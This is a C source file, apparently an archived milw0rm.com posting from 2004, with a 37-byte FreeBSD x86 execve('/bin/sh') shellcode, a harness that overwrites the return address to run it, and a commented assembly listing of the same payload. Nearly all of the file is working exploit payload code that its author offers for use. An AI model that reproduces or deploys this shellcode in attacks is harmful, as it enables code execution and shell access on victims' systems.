39 lines
No EOL
1.5 KiB
C
39 lines
No EOL
1.5 KiB
C
/* This is FreeBSD execve() code.It is 37 bytes long.I'll try to make it *
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* smaller.Till then use this one. *
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* signed predator *
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* preedator(at)sendmail(dot)ru *
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*************************************************************************/
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char FreeBSD_code[]=
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"\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x50\x8d"
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"\x53\x08\x52\x53\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh";
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int main(){
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int *ret=(int *)(&ret+2);
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printf("len : %d\n",strlen(FreeBSD_code));
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*ret=(int)FreeBSD_code;
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}
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/*****************************************
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*int main(){ *
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* __asm__("jmp callme \n" *
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* "jmpme: \n" *
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* "pop %ebx \n" *
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* "xorl %eax,%eax \n" *
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* "movb %al,0x7(%ebx) \n" *
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* "movl %ebx,0x8(%ebx) \n" *
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* "movl %eax,0xc(%ebx) \n" *
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* "push %eax \n" *
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* "leal 0x8(%ebx),%edx \n" *
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* "push %edx \n" *
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* "push %ebx \n" *
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* "movb $0x3b,%al \n" *
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* "push %eax \n" *
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* "int $0x80 \n" *
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* "callme: \n" *
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* "call jmpme \n" *
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* ".string \"/bin/sh\" \n"); *
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*} *
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*****************************************/
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// milw0rm.com [2004-09-26]
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